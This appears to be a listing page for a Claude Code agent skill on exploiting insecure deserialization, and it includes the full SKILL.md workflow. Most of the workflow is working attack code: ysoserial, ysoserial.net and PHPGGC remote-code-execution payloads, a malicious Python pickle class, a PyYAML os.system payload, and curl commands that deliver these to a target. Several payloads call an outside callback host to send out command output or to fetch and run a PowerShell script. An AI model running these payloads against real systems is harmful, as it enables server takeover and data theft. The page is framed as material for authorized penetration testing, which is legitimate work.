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Exploiting Insecure Deserialization

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Identify and exploit deserialization vulnerabilities in applications.

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What Exploiting Insecure Deserialization does

The Exploiting Insecure Deserialization skill is designed for security professionals conducting authorized penetration tests. It allows users to identify and exploit vulnerabilities in applications that process serialized data, such as cookies, API parameters, and message queues. This skill is particularly useful for detecting serialization markers in various programming languages, including Java, PHP, Python, and .NET, making it a versatile tool for web security assessments.

The skill provides a structured workflow that guides users through the process of identifying serialized data in application traffic. It includes detailed steps for testing Java deserialization using the ysoserial tool, generating payloads for PHP applications with PHPGGC, and assessing .NET serialization vectors. Additionally, it covers Python's pickle deserialization, enabling users to exploit vulnerabilities effectively. Each step is accompanied by practical commands and examples, ensuring that users can follow along and apply the techniques in real-world scenarios.

This skill is ideal for penetration testers and security analysts who need to assess the security posture of applications that utilize serialization. By leveraging this skill, users can uncover potential remote code execution vulnerabilities and provide actionable insights to improve application security. The comprehensive approach ensures that users are well-equipped to handle various serialization formats and frameworks, enhancing their penetration testing capabilities.

However, it is essential to note that this skill should only be used in authorized environments, as exploiting these vulnerabilities without permission is illegal. Users must ensure they have the proper authorization and scope defined in their penetration testing agreements before proceeding with any exploitation attempts.

When to use it

Use this skill during authorized penetration tests of applications that process serialized data. It is particularly effective for identifying vulnerabilities in Java, PHP, Python, and .NET applications.

When not to use it

Avoid using this skill in unauthorized environments or on applications without proper permission, as it is intended solely for penetration testing purposes.

What you can build with it

Testing a Java Web Application

Use this skill to identify and exploit deserialization vulnerabilities in a Java-based web application during a penetration test.

Assessing a PHP API

Utilize the skill to evaluate a PHP API that uses unserialize() on user-controlled input for potential security issues.

Evaluating .NET Applications

Apply this skill to assess .NET applications for insecure ViewState handling and other serialization vulnerabilities.

How to install Exploiting Insecure Deserialization

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/exploiting-insecure-deserialization --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Exploiting Insecure Deserialization

When to Use

  • During authorized penetration tests when applications process serialized data (cookies, API parameters, message queues)
  • When identifying Java serialization markers (ac ed 00 05 / rO0AB) in HTTP traffic
  • For testing PHP applications that use unserialize() on user-controlled input
  • When evaluating .NET applications using BinaryFormatter, ObjectStateFormatter, or ViewState
  • During security assessments of applications using pickle (Python), Marshal (Ruby), or YAML deserialization

Prerequisites

  • Authorization: Written penetration testing agreement with RCE testing scope
  • ysoserial: Java deserialization exploit tool (git clone https://github.com/frohoff/ysoserial.git)
  • ysoserial.net: .NET deserialization exploit tool (git clone https://github.com/pwntester/ysoserial.net.git)
  • PHPGGC: PHP deserialization gadget chain generator (git clone https://github.com/ambionics/phpggc.git)
  • Burp Suite Professional: With Java Deserialization Scanner extension
  • Java Runtime: For running ysoserial
  • Collaborator/interactsh: For out-of-band confirmation of code execution

Workflow

Step 1: Identify Serialized Data in Application Traffic

Detect serialized objects in HTTP parameters, cookies, and headers.

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Step 2: Test Java Deserialization with ysoserial

Generate deserialization payloads for Java applications.

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Step 3: Test PHP Deserialization with PHPGGC

Generate PHP gadget chains for common frameworks.

# List available PHP gadget chains
./phpggc -l

# Generate payloads for common PHP frameworks
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Test by injecting into cookie or parameter
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# PHP object injection via manipulated serialized string
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}

# Test for type juggling with PHP unserialize
# Change string to integer: s:4:"role" -> i:1

Step 4: Test .NET Deserialization

Assess ViewState and other .NET serialization vectors.

# Analyze .NET ViewState
# Check if ViewState MAC is enabled
# Unprotected ViewState starts with /wE and can be decoded

# Using ysoserial.net for .NET payloads
# (Run on Windows or via Mono on Linux)
./ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter \
  -c "curl http://abc123.oast.fun/dotnet-rce" -o base64

./ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter \
  -c "whoami" -o base64

# Test ViewState deserialization
# If __VIEWSTATEMAC is disabled or machine key is known:
./ysoserial.exe -g ActivitySurrogateSelector -f ObjectStateFormatter \
  -c "powershell -c IEX(curl http://abc123.oast.fun/ps)" -o base64

# Insert payload into __VIEWSTATE parameter and submit form

# Check for .NET remoting endpoints
curl -s "https://target.example.com/remoting/service.rem"

# BinaryFormatter in API endpoints
# Look for Content-Type: application/octet-stream
# or application/x-msbin headers

Step 5: Test Python Pickle Deserialization

Exploit pickle-based deserialization in Python applications.

# Generate malicious pickle payload
import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle-rce',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Pickle payload: {payload}")

# Alternative: Use pickletools for analysis
import pickletools
pickletools.dis(pickle.dumps(Exploit()))
# Send pickle payload
PAYLOAD=$(python3 -c "
import pickle, base64, os
class E:
    def __reduce__(self):
        return (os.system, ('curl http://abc123.oast.fun/pickle',))
print(base64.b64encode(pickle.dumps(E())).decode())
")

curl -s -X POST \
  -H "Content-Type: application/octet-stream" \
  -d "$PAYLOAD" \
  "https://target.example.com/api/import"

# Check for YAML deserialization (PyYAML)
# Payload: !!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']
curl -s -X POST \
  -H "Content-Type: application/x-yaml" \
  -d "!!python/object/apply:os.system ['curl http://abc123.oast.fun/yaml']" \
  "https://target.example.com/api/config"

Step 6: Confirm Exploitation and Document Impact

Validate successful deserialization attacks and document the impact chain.

# Confirm RCE with out-of-band callback
# Check interactsh/Collaborator for:
# 1. DNS resolution of your callback domain
# 2. HTTP request with command output
# 3. Timing-based confirmation (sleep commands)

# If blind, use timing-based confirmation
# Java: Thread.sleep(10000)
java -jar ysoserial.jar CommonsCollections5 "sleep 10" | base64 -w0
# Measure if response takes ~10 seconds longer

# Exfiltrate system info (authorized testing only)
java -jar ysoserial.jar CommonsCollections5 \
  "curl http://abc123.oast.fun/\$(whoami)" | base64 -w0

# Document the gadget chain and affected library versions
# Check target classpath for vulnerable libraries:
# - commons-collections 3.x / 4.0
# - spring-core
# - hibernate-core
# - groovy

Key Concepts

ConceptDescription
SerializationConverting an object into a byte stream for storage or transmission
DeserializationReconstructing an object from a byte stream, potentially executing code
Gadget ChainA sequence of existing class methods chained together to achieve arbitrary code execution
Magic MethodsSpecial methods called automatically during deserialization (__wakeup, __destruct in PHP, readObject in Java)
ViewStateASP.NET mechanism for persisting page state, often containing serialized objects
PicklePython's native serialization format, inherently unsafe for untrusted data
URLDNS GadgetA Java gadget that triggers DNS lookup, useful for safe deserialization detection

Tools & Systems

ToolPurpose
ysoserialJava deserialization payload generator with multiple gadget chains
ysoserial.net.NET deserialization payload generator
PHPGGCPHP Generic Gadget Chains for multiple frameworks
Burp Java Deserialization ScannerAutomated detection of Java deserialization vulnerabilities
marshalsecJava unmarshaller exploitation for various libraries
Freddy (Burp Extension)Detects deserialization issues in multiple languages

Common Scenarios

Scenario 1: Java Session Cookie RCE

A Java application stores session data as serialized objects in cookies. The rO0AB prefix reveals Java serialization. Using ysoserial with CommonsCollections gadget chain achieves remote code execution.

Scenario 2: PHP Laravel Unserialize

A Laravel application passes serialized data through a hidden form field. Using PHPGGC to generate a Laravel RCE gadget chain achieves command execution when the form is submitted.

Scenario 3: .NET ViewState Without MAC

An ASP.NET application has ViewState MAC validation disabled. Using ysoserial.net to generate a malicious ViewState payload achieves code execution when the page processes the modified ViewState.

Scenario 4: Python Pickle in Redis Cache

A Python web application stores pickled objects in Redis for caching. By poisoning the cache with a malicious pickle payload, code execution is triggered when the application deserializes the cached object.

Output Format

## Insecure Deserialization Finding

**Vulnerability**: Insecure Deserialization - Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: Cookie `user_session` (Java serialized object)
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Capture the `user_session` cookie value (starts with rO0AB)
2. Generate payload: java -jar ysoserial.jar CommonsCollections5 "id"
3. Base64 encode and replace the cookie value
4. Send request; command executes on the server

### Vulnerable Library
- commons-collections 3.2.1 (CVE-2015-7501)
- Java Runtime: OpenJDK 11.0.15

### Confirmed Impact
- Remote Code Execution as `tomcat` user
- Server OS: Ubuntu 22.04 LTS
- Internal network access confirmed via reverse shell
- Database credentials accessible from application config

### Recommendation
1. Avoid deserializing untrusted data; use JSON or Protocol Buffers instead
2. Upgrade commons-collections to 4.1+ (patched version)
3. Implement deserialization filters (JEP 290 for Java 9+)
4. Use allowlists for permitted classes during deserialization
5. Implement integrity checks (HMAC) on serialized data before deserialization

Frequently asked questions about Exploiting Insecure Deserialization

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